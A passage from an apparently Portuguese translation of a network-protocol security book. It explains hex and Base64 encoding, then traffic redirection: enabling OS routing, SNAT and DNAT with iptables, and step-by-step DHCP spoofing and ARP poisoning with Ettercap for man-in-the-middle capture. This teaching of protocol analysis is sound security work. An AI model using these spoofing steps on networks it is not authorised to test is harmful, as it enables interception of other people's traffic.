o XML Schema, visam remediar essa deficiência de informação
de tipo, mas não são necessárias para processar conteúdo XML.
A especificação XML define uma lista de critérios bem
formados que podem ser usados para determinar se um
documento XML atende a um nível mínimo de estrutura.

O XML é usado em muitos contextos diferentes para definir a


forma como as informações são transmitidas em um protocolo,
como no Rich Site Summary (RSS). Ele também pode fazer parte
de um protocolo, como no Extensible Messaging and Presence
Protocol (XMPP).

Codificação de dados binários

Nos primórdios da comunicação por computador, bytes de 8


bits não eram a norma. Como a maior parte da comunicação
era baseada em texto e voltada para países de língua inglesa,
fazia sentido econômico enviar apenas 7 bits por byte,
conforme exigido pelo padrão ASCII. Isso permitia que outros
bits fossem utilizados para controle de protocolos de enlace
serial ou para melhorar o desempenho. Essa história se reflete
fortemente em alguns protocolos de rede antigos, como o SMTP
ou o Network News Transfer Protocol (NNTP), que pressupõem
canais de comunicação de 7 bits.

Mas a limitação de 7 bits representa um problema se você


quiser enviar aquela foto engraçada para um amigo por e-mail
ou se quiser escrever sua mensagem em um conjunto de
caracteres diferente do inglês. Para superar essa limitação, os
desenvolvedores criaram diversas maneiras de codificar dados
binários como texto, cada uma com diferentes graus de
eficiência ou complexidade.

Como se vê, a capacidade de converter conteúdo binário em


texto ainda tem suas vantagens. Por exemplo, se você quisesse
enviar dados binários em um formato de texto estruturado,
como JSON ou XML, precisaria garantir que os delimitadores
fossem escapados adequadamente. Em vez disso, você pode
escolher um formato de codificação existente, como Base64,
para enviar os dados binários, e eles serão facilmente
compreendidos por ambas as partes.
Vamos analisar alguns dos esquemas de codificação binário-
para-texto mais comuns que você provavelmente encontrará ao
inspecionar um protocolo de texto.

Codificação Hexadecimal

Uma das técnicas de codificação mais simples para dados


binários é a codificação hexadecimal. Na codificação
hexadecimal, cada octeto é dividido em dois valores de 4 bits
que são convertidos em dois caracteres de texto, representando
o valor hexadecimal. O resultado é uma representação simples
do binário em formato de texto, como mostrado na Figura 3-18.

Figura 3-18: Exemplo de codificação hexadecimal de dados


binários

Embora simples, a codificação hexadecimal não é eficiente em


termos de espaço, pois todos os dados binários aumentam
automaticamente 100% em relação ao tamanho original. No
entanto, uma vantagem é que as operações de codificação e
decodificação são rápidas e simples, com poucas chances de
erros, o que é definitivamente benéfico do ponto de vista da
segurança.

O HTTP especifica uma codificação semelhante para URLs e


alguns protocolos de texto, chamada codificação percentual. Em
vez de todos os dados serem codificados, apenas os dados não
imprimíveis são convertidos para hexadecimal, e os valores são
indicados prefixando-os com o caractere %. Se a codificação
percentual fosse usada para codificar o valor na Figura 3-18,
você obteria %06%E3%58.

Base64

Para contornar as óbvias ineficiências da codificação


hexadecimal, podemos usar o Base64, um esquema de
codificação originalmente desenvolvido como parte das
especificações MIME. O número 64 no nome refere-se à
quantidade de caracteres usados para codificar os dados.

O sinal binário de entrada é separado em valores individuais de


6 bits, suficientes para representar de 0 a 63. Esse valor é então
usado para procurar um caractere correspondente em uma
tabela de codificação, como mostrado na Figura 3-19.
Figura 3-19: Tabela de codificação Base64

Mas há um problema com essa abordagem: quando 8 bits são


divididos por 6, 2 bits permanecem. Para contornar esse
problema, a entrada é feita em unidades de três octetos, pois
dividir 24 bits por 6 bits produz 4 valores. Assim, o Base64
codifica 3 bytes em 4, representando um aumento de apenas
33%, o que é significativamente melhor do que o aumento
produzido pela codificação hexadecimal. A Figura 3-20 mostra
um exemplo de codificação de uma sequência de três octetos
em Base64.

Mas outro problema se apresenta com essa estratégia. E se você


tiver apenas um ou dois octetos para codificar? Isso não
causaria falha na codificação? O Base64 contorna esse
problema definindo um caractere de espaço reservado, o sinal
de igual (=). Se, durante o processo de codificação, não houver
bits válidos disponíveis, o codificador codificará esse valor
como o espaço reservado. A Figura 3-21 mostra um exemplo de
apenas um octeto sendo codificado. Observe que são gerados
dois caracteres de espaço reservado. Se dois octetos fossem
codificados, o Base64 geraria apenas um.

Figura 3-20: Codificação Base64 de 3 bytes como 4 caracteres


Figura 3-21: Codificação Base64 de 1 byte como 3 caracteres

Para converter dados Base64 de volta para binário, basta seguir


os passos na ordem inversa. Mas o que acontece quando um
caractere não-Base64 é encontrado durante a decodificação?
Bem, isso cabe ao aplicativo decidir. Só podemos esperar que
ele tome uma decisão segura.

Palavras finais

Neste capítulo, defini várias maneiras de representar valores de


dados em protocolos binários e de texto e discuti como
representar dados numéricos, como números inteiros, em
binário. Compreender como os octetos são transmitidos em um
protocolo é crucial para decodificar valores com sucesso. Ao
mesmo tempo, também é importante identificar as diversas
maneiras pelas quais valores de dados de comprimento
variável podem ser representados, pois essa é talvez a estrutura
mais importante que você encontrará em um protocolo de rede.
À medida que você analisa mais protocolos de rede, verá as
mesmas estruturas sendo usadas repetidamente. Ser capaz de
identificar rapidamente essas estruturas é fundamental para
processar protocolos desconhecidos com facilidade.

No Capítulo 4, analisaremos alguns protocolos do mundo real e


os dissecaremos para ver como eles se comparam às descrições
apresentadas neste capítulo.
4
CAPTURA DE TRÁFEGO DE APLICAÇÕES
AVANÇADAS

Normalmente, as técnicas de captura de tráfego de rede


aprendidas no Capítulo 2 devem ser suficientes, mas
ocasionalmente você encontrará situações complexas que
exigem métodos mais avançados de captura de tráfego de rede.
Às vezes, o desafio é uma plataforma embarcada que só pode
ser configurada com o Protocolo de Configuração Dinâmica de
Hosts (DHCP); outras vezes, pode haver uma rede que oferece
pouco controle, a menos que você esteja diretamente conectado
a ela.

A maioria das técnicas avançadas de captura de tráfego


discutidas neste capítulo utiliza a infraestrutura e os protocolos
de rede existentes para redirecionar o tráfego. Nenhuma das
técnicas requer hardware especializado; tudo o que você
precisa são pacotes de software comuns encontrados em
diversos sistemas operacionais.

Redirecionamento de tráfego

O IP é um protocolo roteado; ou seja, nenhum dos nós da rede


precisa saber a localização exata de qualquer outro nó. Em vez
disso, quando um nó deseja enviar tráfego para outro nó com o
qual não está diretamente conectado, ele envia o tráfego para
um nó de gateway, que encaminha o tráfego para o destino. Um
gateway também é comumente chamado de roteador, um
dispositivo que roteia o tráfego de um local para outro.

Por exemplo, na Figura 4-1, o cliente [Link] está


tentando enviar tráfego para o servidor [Link], mas o cliente
não possui uma conexão direta com o servidor. Ele primeiro
envia o tráfego destinado ao servidor para o Roteador A. Por
sua vez, o Roteador A envia o tráfego para o Roteador B, que
possui uma conexão direta com o servidor de destino; o
Roteador B repassa o tráfego para seu destino final.

Assim como em todos os nós, o nó de gateway não conhece o


destino exato do tráfego, então ele busca o próximo gateway
apropriado para o qual enviar o tráfego. Nesse caso, os
roteadores A e B conhecem apenas as duas redes às quais estão
diretamente conectados. Para que o tráfego chegue do cliente
ao servidor, ele precisa ser roteado.
Figura 4-1: Um exemplo de tráfego roteado

Usando o Traceroute

Ao rastrear uma rota, você tenta mapear o caminho que o


tráfego IP percorrerá até um destino específico. A maioria dos
sistemas operacionais possui ferramentas integradas para
realizar esse rastreamento, como o traceroute na maioria das
plataformas do tipo Unix e o tracert no Windows.

A Listagem 4-1 mostra o resultado do rastreamento da rota até


[Link] a partir de uma conexão de internet
doméstica.

C:\Users\user>tracert [Link]

Rastreando a rota para [Link] [[Link]


com um máximo de 30 saltos:
1 2 ms 2 ms 2 ms [Link] [[Link]]
2 15 ms 15 ms 15 ms [Link]
3 88 ms 15 ms 15 ms [Link]
4 16 ms 16 ms 15 [Link]
5 26 ms 15 ms 15 ms [Link]
6 16 ms 26 ms 16 ms [Link]
7 26 ms 15 ms 15 ms [Link]
8 18 ms 16 ms 15 ms [Link]
9 17 ms 28 ms 16 ms [Link]
10 17 ms 16 ms 16 ms [Link]
11 17 ms 17 ms 16 ms [Link]
12 17 ms 17 ms 17 ms [Link]
13 27 ms 17 ms 17 ms [Link] [173.1

Listagem 4-1: Traceroute para [Link] usando a


ferramenta tracert

Cada linha numerada da saída (1, 2 e assim por diante)


representa um gateway único que encaminha o tráfego para o
destino final. A saída se refere ao número máximo de saltos.
Um único salto representa a rede entre cada gateway em toda a
rota. Por exemplo, há um salto entre sua máquina e o primeiro
roteador, outro entre esse roteador e o próximo, e saltos até o
destino final. Se o número máximo de saltos for excedido, o
processo traceroute interromperá a busca por mais roteadores.
O número máximo de saltos pode ser especificado na linha de
comando da ferramenta traceroute; especifique -h NUM no
Windows e -m NUM em sistemas Unix. (A saída também mostra
o tempo de ida e volta entre a máquina que executa o
traceroute e o nó descoberto.)

Tabelas de roteamento

O sistema operacional usa tabelas de roteamento para


determinar para quais gateways enviar o tráfego. Uma tabela
de roteamento contém uma lista de redes de destino e o
gateway para o qual o tráfego deve ser roteado. Se uma rede
estiver diretamente conectada ao nó que envia o tráfego de
rede, nenhum gateway é necessário e o tráfego de rede pode ser
transmitido diretamente na rede local.

Você pode visualizar a tabela de roteamento do seu computador


digitando o comando `netstat -r` na maioria dos sistemas Unix
ou `route print` no Windows. A Listagem 4-2 mostra a saída do
Windows ao executar esse comando.

> imprimir rota


Tabela de Roteamento IPv4
=====================================================
Rotas Ativas:
Rede Destino Máscara de Rede Gateway Interface Métric
➊ [Link] [Link] [Link] [Link] 10
[Link] [Link] On-link [Link] 306
[Link] [Link] On-link [Link] 306
[Link] [Link] On-link [Link] 306
[Link] [Link] On-link [Link] 266
[Link] [Link] On-link [Link] 266
[Link] [Link] On-link [Link] 26
[Link] [Link] On-link [Link] 306
[Link] [Link] On-link [Link] 276
[Link] [Link] On-link [Link] 266
[Link] [Link] On-link [Link] 306
[Link] [Link] On-link [Link]

[Link] [Link] On-link [Link]


=====================================================

Listagem 4-2: Exemplo de saída da tabela de roteamento


Como mencionado anteriormente, um dos motivos para o uso
de roteamento é evitar que os nós precisem conhecer a
localização de todos os outros nós da rede. Mas o que acontece
com o tráfego quando o gateway responsável pela comunicação
com a rede de destino é desconhecido? Nesse caso, é comum
que a tabela de roteamento encaminhe todo o tráfego
desconhecido para um gateway padrão. Você pode ver o
gateway padrão em ➊, onde o destino da rede é [Link]. Esse
destino é um marcador para o gateway padrão, o que simplifica
o gerenciamento da tabela de roteamento. Ao usar um
marcador, a tabela não precisa ser alterada se a configuração
da rede mudar, como por meio de uma configuração DHCP. O
tráfego enviado para qualquer destino que não tenha uma rota
correspondente conhecida será enviado para o gateway
registrado para o endereço marcador [Link].

Como você pode usar o roteamento a seu favor? Vamos


considerar um sistema embarcado no qual o sistema
operacional e o hardware são um único dispositivo. Você pode
não ter influência na configuração de rede de um sistema
embarcado, já que talvez nem tenha acesso ao sistema
operacional subjacente, mas se puder apresentar seu
dispositivo de captura como um gateway entre o sistema que
gera o tráfego e seu destino final, poderá capturar o tráfego
nesse sistema.
As seções a seguir discutem maneiras de configurar um sistema
operacional para atuar como um gateway, facilitando a captura
de tráfego.

Configurando um roteador

Por padrão, a maioria dos sistemas operacionais não roteia o


tráfego diretamente entre interfaces de rede. Isso ocorre
principalmente para impedir que alguém em uma extremidade
da rota se comunique diretamente com os endereços de rede na
outra extremidade. Se o roteamento não estiver habilitado na
configuração do sistema operacional, qualquer tráfego enviado
para uma das interfaces de rede da máquina que precise ser
roteado será descartado ou uma mensagem de erro será
enviada ao remetente. A configuração padrão é muito
importante para a segurança: imagine as implicações se o
roteador que controla sua conexão com a internet roteasse o
tráfego da internet diretamente para sua rede privada.

Portanto, para habilitar o roteamento em um sistema


operacional, você precisa fazer algumas alterações de
configuração como administrador. Embora cada sistema
operacional tenha maneiras diferentes de habilitar o
roteamento, um aspecto permanece constante: você precisará
de pelo menos duas interfaces de rede separadas instaladas em
seu computador para atuarem como roteador. Além disso, você
precisará de rotas em ambos os lados do gateway para que o
roteamento funcione corretamente. Se o destino não tiver uma
rota correspondente de volta para o dispositivo de origem, a
comunicação poderá não funcionar como esperado. Depois que
o roteamento estiver habilitado, você poderá configurar os
dispositivos de rede para encaminhar o tráfego por meio do seu
novo roteador. Executando uma ferramenta como o Wireshark
no roteador, você poderá capturar o tráfego à medida que ele é
encaminhado entre as duas interfaces de rede que você
configurou.

Habilitando o roteamento no Windows

Por padrão, o Windows não habilita o roteamento entre


interfaces de rede. Para habilitar o roteamento no Windows,
você precisa modificar o registro do sistema. Você pode fazer
isso usando um editor de registro com interface gráfica, mas a
maneira mais fácil é executar o seguinte comando como
administrador no prompt de comando:

C> reg add HKLM\System\CurrentControlSet\Services\Tcp


/v IPEnableRouter /t REG_DWORD /d 1
Para desativar o roteamento após concluir a captura de tráfego,
digite o seguinte comando:

C> reg add HKLM\System\CurrentControlSet\Services\Tcp


/v IPEnableRouter /t REG_DWORD /d 0

Você também precisará reiniciar o sistema entre as alterações


de comando.

AVISO

Tenha muito cuidado ao modificar o registro do


Windows. Alterações incorretas podem danificar
completamente o Windows e impedir sua
inicialização! Certifique-se de fazer um backup do
sistema usando um utilitário como a ferramenta de
backup integrada do Windows antes de realizar
qualquer alteração perigosa.

Habilitando o roteamento em sistemas *nix

Para habilitar o roteamento em sistemas operacionais do tipo


Unix, basta alterar a configuração do sistema de roteamento IP
usando o comando sysctl. (Observe que as instruções para fazer
isso podem não ser as mesmas em todos os sistemas, mas você
deve conseguir encontrar instruções específicas facilmente.)

Para habilitar o roteamento IPv4 no Linux, digite o seguinte


comando como root (não é necessário reiniciar; a alteração é
imediata):

# sysctl [Link]=1

Para ativar o roteamento IPv6 no Linux, digite o seguinte:

# sysctl [Link]=1

Você pode reverter a configuração de roteamento alterando o


valor 1 para 0 nos comandos anteriores.

Para ativar o roteamento no macOS, digite o seguinte:

> sysctl -w [Link]=1

Tradução de Endereços de Rede

Ao tentar capturar tráfego, você pode perceber que consegue


capturar o tráfego de saída, mas não o de retorno. Isso ocorre
porque um roteador upstream não conhece a rota para a rede
de origem; portanto, ele descarta o tráfego completamente ou o
encaminha para uma rede não relacionada. Você pode mitigar
essa situação usando a Tradução de Endereços de Rede (NAT),
uma técnica que modifica as informações de endereço de
origem e destino do IP e de protocolos de camadas superiores,
como o TCP. O NAT é amplamente utilizado para estender o
espaço limitado de endereços IPv4, ocultando vários
dispositivos atrás de um único endereço IP público.

O NAT também pode facilitar a configuração e a segurança da


rede. Quando o NAT está ativado, você pode executar quantos
dispositivos quiser atrás de um único endereço IP NAT e
gerenciar apenas esse endereço IP público.

Atualmente, são comuns dois tipos de NAT: NAT de origem


(SNAT) e NAT de destino (DNAT). A diferença entre os dois
reside no endereço que é modificado durante o processamento
NAT do tráfego de rede. O SNAT (também chamado de
mascaramento) altera as informações do endereço IP de
origem; o DNAT altera o endereço de destino.

Habilitando SNAT

Quando você deseja que um roteador oculte várias máquinas


atrás de um único endereço IP, você usa o SNAT. Quando o SNAT
está ativado, à medida que o tráfego é roteado pela interface de
rede externa, o endereço IP de origem nos pacotes é reescrito
para corresponder ao endereço IP único disponibilizado pelo
SNAT.

Implementar SNAT pode ser útil quando você deseja rotear


tráfego para uma rede que não controla, pois, como você deve
se lembrar, ambos os nós da rede precisam ter informações de
roteamento adequadas para que o tráfego seja enviado entre
eles. No pior cenário, se as informações de roteamento
estiverem incorretas, o tráfego fluirá em apenas uma direção.
Mesmo no melhor cenário, é provável que você consiga
capturar o tráfego apenas em uma direção; a outra direção será
roteada por um caminho alternativo.

O SNAT resolve esse problema potencial alterando o endereço


de origem do tráfego para um endereço IP para o qual o nó de
destino possa rotear — normalmente, o endereço atribuído à
interface externa do roteador. Dessa forma, o nó de destino
pode enviar o tráfego de volta na direção do roteador. A Figura
4-2 mostra um exemplo simples de SNAT.
Figura 4-2: Um exemplo de SNAT de um cliente para um
servidor

Quando o cliente deseja enviar um pacote para um servidor em


uma rede diferente, ele o envia para o roteador que foi
configurado com SNAT. Quando o roteador recebe o pacote do
cliente, o endereço de origem é o do cliente ([Link]) e o destino
é o do servidor (o endereço resolvido de [Link]). É nesse
ponto que o SNAT é utilizado: o roteador modifica o endereço
de origem do pacote para o seu próprio ([Link]) e então
encaminha o pacote para o servidor.

Quando o servidor recebe esse pacote, ele assume que o pacote


veio do roteador; então, quando quer enviar um pacote de
volta, ele o envia para [Link]. O roteador recebe o pacote,
determina que ele veio de uma conexão NAT existente (com
base no endereço de destino e nos números de porta) e reverte
a alteração de endereço, convertendo [Link] de volta para o
endereço original do cliente, [Link]. Finalmente, o pacote pode
ser encaminhado de volta para o cliente original sem que o
servidor precise saber sobre o cliente ou como rotear para a sua
rede.

Configurando o SNAT no Linux

Embora seja possível configurar o SNAT no Windows e no


macOS usando o Compartilhamento de Conexão com a Internet,
fornecerei detalhes apenas sobre como configurar o SNAT no
Linux, pois é a plataforma mais fácil de descrever e a mais
flexível em termos de configuração de rede.

Antes de configurar o SNAT, você precisa fazer o seguinte:

• Habilite o roteamento IP conforme descrito anteriormente


neste capítulo.

• Encontre o nome da interface de rede de saída na qual você


deseja configurar o SNAT. Você pode fazer isso usando o
comando ifconfig. A interface de saída pode ter um nome como
eth0.

• Anote o endereço IP associado à interface de saída ao usar o


comando ifconfig.

Agora você pode configurar as regras de NAT usando o iptables.


(O comando iptables provavelmente já está instalado na sua
distribuição Linux.) Mas primeiro, limpe quaisquer regras de
NAT existentes no iptables digitando o seguinte comando como
usuário root:

# iptables -t nat -F

Se a interface de rede de saída tiver um endereço fixo, execute


os seguintes comandos como root para habilitar o SNAT.
Substitua INTNAME pelo nome da sua interface de saída e
INTIP pelo endereço IP atribuído a essa interface.

# iptables -t nat -A POSTROUTING -o INTNAME -j SNAT -

No entanto, se o endereço IP for configurado dinamicamente


(talvez usando DHCP ou uma conexão discada), use o seguinte
comando para determinar automaticamente o endereço IP de
saída:

# iptables -t nat -A POSTROUTING -o INTNAME -j MASQUE

Habilitando DNAT

O DNAT é útil se você deseja redirecionar o tráfego para um


proxy ou outro serviço para finalizá-lo, ou antes de encaminhá-
lo ao seu destino original. O DNAT reescreve o endereço IP de
destino e, opcionalmente, a porta de destino. Você pode usar o
DNAT para redirecionar tráfego específico para um destino
diferente, como mostrado na Figura 4-3, que ilustra o tráfego
sendo redirecionado tanto do roteador quanto do servidor para
um proxy em [Link] para realizar uma análise de ataque
man-in-the-middle.

Figura 4-3: Um exemplo de DNAT para um proxy

A Figura 4-3 mostra um aplicativo cliente enviando tráfego


através de um roteador, com destino ao domínio [Link]
na porta 1234. Quando um pacote é recebido no roteador, este
normalmente o encaminharia para o destino original. No
entanto, como o DNAT é usado para alterar o endereço e a porta
de destino do pacote para [Link]:8888, o roteador aplicará
suas regras de encaminhamento e enviará o pacote para um
servidor proxy que pode capturar o tráfego. O proxy, então,
estabelece uma nova conexão com o servidor e encaminha
todos os pacotes enviados pelo cliente para o servidor. Todo o
tráfego entre o cliente original e o servidor pode ser capturado
e manipulado.

A configuração do DNAT depende do sistema operacional do


roteador. (Se o seu roteador estiver executando o Windows,
provavelmente você não terá sorte, pois a funcionalidade
necessária para suportá-lo não está disponível para o usuário.)
A configuração varia consideravelmente entre as diferentes
versões de sistemas operacionais do tipo Unix e o macOS,
portanto, mostrarei apenas como configurar o DNAT no Linux.
Primeiro, limpe todas as regras NAT existentes digitando o
seguinte comando:

# iptables -t nat -F

Em seguida, execute o seguinte comando como usuário root,


substituindo ORIGIP (IP de origem) pelo endereço IP para o qual
o tráfego deve ser direcionado e NEWIP pelo novo endereço IP
de destino para o qual você deseja que o tráfego seja enviado.
# iptables -t nat -A PREROUTING -d ORIGIP -j DNAT --t

A nova regra NAT redirecionará qualquer pacote roteado para


ORIGIP para NEWIP. (Como o DNAT ocorre antes das regras de
roteamento normais no Linux, é seguro escolher um endereço
de rede local; a regra DNAT não afetará o tráfego enviado
diretamente do Linux.) Para aplicar a regra apenas a um TCP ou
UDP específico, altere o comando:

iptables -t nat -A PREROUTING -p PROTO -d ORIGIP --dp


--to-destination NEWIP:NEWPORT

O marcador PROTO (de protocolo) deve ser tcp ou udp,


dependendo do protocolo IP que está sendo redirecionado pela
regra DNAT. Os valores para ORIGIP (IP original) e NEWIP são
os mesmos de antes.

Você também pode configurar ORIGPORT (a porta original) e


NEWPORT se desejar alterar a porta de destino. Se NEWPORT
não for especificada, apenas o endereço IP será alterado.

Encaminhamento de tráfego para um gateway


Você configurou seu dispositivo de gateway para capturar e
modificar o tráfego. Tudo parece estar funcionando
corretamente, mas há um problema: você não consegue alterar
facilmente a configuração de rede do dispositivo que deseja
capturar. Além disso, você tem capacidade limitada de alterar a
configuração de rede à qual o dispositivo está conectado. Você
precisa de alguma forma de reconfigurar ou enganar o
dispositivo remetente para que ele encaminhe o tráfego através
do seu gateway. Você poderia conseguir isso explorando a rede
local, falsificando pacotes para DHCP ou ARP (Address
Resolution Protocol).

Spoofing de DHCP

O DHCP foi projetado para funcionar em redes IP e distribuir


automaticamente informações de configuração de rede para os
nós. Portanto, se conseguirmos falsificar o tráfego DHCP,
podemos alterar remotamente a configuração de rede de um
nó. Quando o DHCP é utilizado, a configuração de rede enviada
a um nó pode incluir um endereço IP, bem como o gateway
padrão, tabelas de roteamento, servidores DNS padrão e até
mesmo parâmetros personalizados adicionais. Se o dispositivo
que você deseja testar utiliza DHCP para configurar sua
interface de rede, essa flexibilidade facilita bastante o
fornecimento de uma configuração personalizada que
permitirá a captura do tráfego de rede.

O DHCP utiliza o protocolo UDP para enviar e receber


solicitações de um serviço DHCP na rede local. Quatro tipos de
pacotes DHCP são enviados durante a negociação da
configuração de rede:

O comando Discover é enviado a todos os nós da rede IP para


descobrir um servidor DHCP.

Oferta enviada pelo servidor DHCP ao nó que enviou o pacote


de descoberta para oferecer uma configuração de rede.

Solicitação enviada pelo nó de origem para confirmar sua


aceitação da oferta.

Confirmação enviada pelo servidor para confirmar a conclusão


da configuração.

O aspecto interessante do DHCP é que ele usa um protocolo não


autenticado e sem conexão para realizar a configuração.
Mesmo que um servidor DHCP existente esteja na rede, você
pode conseguir falsificar o processo de configuração e alterar a
configuração de rede do nó, incluindo o endereço do gateway
padrão, para um que você controle. Isso é chamado de
falsificação de DHCP.

Para realizar o spoofing de DHCP, usaremos o Ettercap, uma


ferramenta gratuita disponível na maioria dos sistemas
operacionais (embora o Windows não seja oficialmente
suportado).

1. No Linux, inicie o Ettercap no modo gráfico como usuário


root:

# ettercap -G

Você deverá ver a interface gráfica do Ettercap, conforme


mostrado na Figura 4-4.
Figura 4-4: A interface gráfica principal do Ettercap
2. Configure o modo de captura de pacotes do Ettercap
selecionando Capturar ▸ Captura Unificada.
3. A caixa de diálogo mostrada na Figura 4-5 deve solicitar que
você selecione a interface de rede que deseja monitorar.
Selecione a interface conectada à rede na qual deseja realizar
o spoofing de DHCP. (Certifique-se de que a rede da interface
esteja configurada corretamente, pois o Ettercap enviará
automaticamente o endereço IP configurado da interface
como o gateway padrão do DHCP.)
Figura 4-5: Selecionando a interface de captura de pacotes
4. Habilite o spoofing de DHCP selecionando Mitm ▸ Spoofing
de DHCP. A caixa de diálogo mostrada na Figura 4-6 deverá
aparecer, permitindo que você configure as opções de
spoofing de DHCP.

Figura 4-6: Configurando o spoofing de DHCP


5. O campo "IP Pool" define o intervalo de endereços IP a serem
distribuídos para solicitações DHCP de spoofing. Forneça um
intervalo de endereços IP que você configurou para a
interface de rede que está capturando o tráfego. Por exemplo,
na Figura 4-6, o valor do "IP Pool" está definido como
[Link]-50 (o hífen indica todos os endereços, inclusive cada
valor), portanto, distribuiremos IPs de [Link] a [Link],
inclusive. Configure a "Netmask" para corresponder à
máscara de rede da sua interface de rede para evitar
conflitos. Especifique um endereço IP de servidor DNS de sua
escolha.
6. Inicie a captura de pacotes selecionando Iniciar ▸ Iniciar
captura. Se a falsificação de DHCP for bem-sucedida no
dispositivo, a janela de log do Ettercap deverá ser semelhante
à Figura 4-7. A linha crucial é o ACK falso enviado pelo
Ettercap em resposta à solicitação DHCP.

Figura 4-7: Spoofing de DHCP bem-sucedido


Isso é tudo o que você precisa saber sobre spoofing de DHCP
com o Ettercap. Pode ser muito eficaz se você não tiver outra
opção e já houver um servidor DHCP na rede que você está
tentando atacar.

Envenenamento por ARP

O ARP é crucial para o funcionamento de redes IP em Ethernet,


pois encontra o endereço Ethernet correspondente a um
determinado endereço IP. Sem o ARP, seria muito difícil
comunicar tráfego IP de forma eficiente em uma rede Ethernet.
O funcionamento do ARP é o seguinte: quando um nó deseja se
comunicar com outro na mesma rede Ethernet, ele precisa
mapear o endereço IP para um endereço MAC Ethernet (que é
como a Ethernet identifica o nó de destino para o qual enviar o
tráfego). O nó gera um pacote de solicitação ARP (veja a Figura
4-8) contendo seu endereço MAC Ethernet de 6 bytes, seu
endereço IP atual e o endereço IP do nó de destino. O pacote é
transmitido na rede Ethernet com um endereço MAC de destino
ff:ff:ff:ff:ff:ff, que é o endereço de broadcast definido.
Normalmente, um dispositivo Ethernet processa apenas pacotes
com um endereço de destino que corresponda ao seu próprio
endereço, mas se receber um pacote com o endereço MAC de
destino definido como o endereço de broadcast, ele também o
processará.
Se um dos destinatários desta mensagem transmitida tiver o
endereço IP de destino atribuído, ele poderá retornar uma
resposta ARP, conforme mostrado na Figura 4-9. Essa resposta é
quase idêntica à solicitação, exceto pela inversão dos campos de
remetente e destino. Como o endereço IP do remetente deve
corresponder ao endereço IP de destino solicitado
originalmente, o solicitante original pode agora extrair o
endereço MAC do remetente e armazená-lo para comunicações
futuras na rede, sem precisar reenviar a solicitação ARP.

Figura 4-8: Um exemplo de pacote de solicitação ARP

Figura 4-9: Um exemplo de resposta ARP


Como você pode usar o envenenamento de ARP a seu favor?
Assim como no DHCP, não há autenticação em pacotes ARP, que
são enviados intencionalmente para todos os nós da rede
Ethernet. Portanto, você pode informar ao nó alvo que você
possui um endereço IP e garantir que ele encaminhe o tráfego
para o seu gateway falso, enviando pacotes ARP falsificados
para envenenar o cache ARP do nó alvo. Você pode usar o
Ettercap para falsificar os pacotes, como mostrado na Figura 4-
10.

Figura 4-10: Envenenamento por ARP

Na Figura 4-10, o Ettercap envia pacotes ARP falsificados para o


cliente e o roteador na rede local. Se a falsificação for bem-
sucedida, esses pacotes ARP alterarão as entradas ARP em cache
de ambos os dispositivos para apontar para o seu proxy.

AVISO

Certifique-se de falsificar pacotes ARP tanto para o


cliente quanto para o roteador para garantir que
você receba a comunicação de ambos os lados.
Claro, se você quiser apenas um lado da
comunicação, basta envenenar um dos nós.

Para iniciar o envenenamento por ARP, siga estes passos:

1. Inicie o Ettercap e entre no modo Unified Sniffing, assim


como você fez com o DHCP spoofing.
2. Selecione a interface de rede que deseja envenenar (aquela
conectada à rede com os nós que você deseja envenenar).
3. Configure uma lista de hosts para envenenar o ARP. A
maneira mais fácil de obter uma lista de hosts é deixar o
Ettercap fazer a varredura para você, selecionando Hosts ▸
Verificar Hosts. Dependendo do tamanho da rede, a
varredura pode levar de alguns segundos a horas. Quando a
varredura estiver concluída, selecione Hosts ▸ Lista de Hosts;
uma caixa de diálogo como a da Figura 4-11 deverá aparecer.
Figura 4-11: Lista de hosts descobertos
Como você pode ver na Figura 4-11, encontramos dois hosts.
Neste caso, um é o nó cliente que você deseja capturar,
localizado no endereço IP [Link] com o endereço MAC
08:00:27:33:81:6d. O outro nó é o gateway para a internet,
localizado no endereço IP [Link] com o endereço
MAC 08:00:27:68:95:c3. Muito provavelmente, você já
conhece os endereços IP configurados para cada dispositivo
de rede, então pode determinar qual é a máquina local e qual
é a máquina remota.
4. Escolha seus alvos. Selecione um dos hosts da lista e clique
em Adicionar ao Alvo 1; selecione o outro host que deseja
envenenar e clique em Adicionar ao Alvo 2. (Os Alvos 1 e 2
diferenciam entre o cliente e o gateway.) Isso deve habilitar o
envenenamento ARP unidirecional, no qual apenas os dados
enviados do Alvo 1 para o Alvo 2 são redirecionados.
5. Inicie o envenenamento de ARP selecionando Mitm ▸
Envenenamento de ARP. Uma caixa de diálogo deverá
aparecer. Aceite as configurações padrão e clique em OK. O
Ettercap tentará envenenar o cache ARP dos alvos
selecionados. O envenenamento de ARP pode não funcionar
imediatamente, pois o cache ARP precisa ser atualizado. Se o
envenenamento for bem-sucedido, o nó cliente deverá ter
uma aparência semelhante à da Figura 4-12.

Figura 4-12: Envenenamento bem-sucedido por ARP

A Figura 4-12 mostra que o roteador foi envenenado no IP


[Link], cujo endereço MAC foi modificado para o
endereço MAC do proxy: 08:00:27:08:dc:e6. (Para comparação,
veja a entrada correspondente na Figura 4-11.) Agora, todo o
tráfego enviado do cliente para o roteador será enviado para o
proxy (indicado pelo endereço MAC [Link]). O proxy
pode encaminhar o tráfego para o destino correto após capturá-
lo ou modificá-lo.

Uma vantagem do envenenamento de ARP em relação ao


spoofing de DHCP é a possibilidade de redirecionar nós na rede
local para se comunicarem com o gateway, mesmo que o
destino esteja na própria rede local. O envenenamento de ARP
não precisa necessariamente comprometer a conexão entre o
nó e o gateway externo, caso não seja desejado.

Palavras finais

Neste capítulo, você aprendeu algumas maneiras adicionais de


capturar e modificar o tráfego entre um cliente e um servidor.
Comecei descrevendo como configurar seu sistema operacional
como um gateway IP, porque se você puder encaminhar o
tráfego através do seu próprio gateway, terá diversas técnicas à
sua disposição.

Claro, fazer com que um dispositivo envie tráfego para o seu


dispositivo de captura de rede nem sempre é fácil, então
empregar técnicas como DHCP spoofing ou envenenamento de
ARP é importante para garantir que o tráfego seja enviado para
o seu dispositivo em vez de diretamente para a internet.
Felizmente, como você viu, não são necessárias ferramentas
personalizadas para isso; todas as ferramentas necessárias já
estão incluídas no seu sistema operacional (principalmente se
você usa Linux) ou podem ser facilmente baixadas.
5
ANÁLISE DA AGÊNCIA

No Capítulo 2, discuti como capturar tráfego de rede para


análise. Agora é hora de colocar esse conhecimento em prática.
Neste capítulo, examinaremos como analisar o tráfego de
protocolo de rede capturado de um aplicativo de bate-papo
para entender o protocolo em uso. Se você conseguir
determinar quais recursos um protocolo suporta, poderá
avaliar sua segurança.

A análise de um protocolo desconhecido geralmente é


incremental. Começa-se capturando o tráfego de rede e, em
seguida, analisando-o para tentar entender o que cada parte do
tráfego representa. Ao longo deste capítulo, mostrarei como
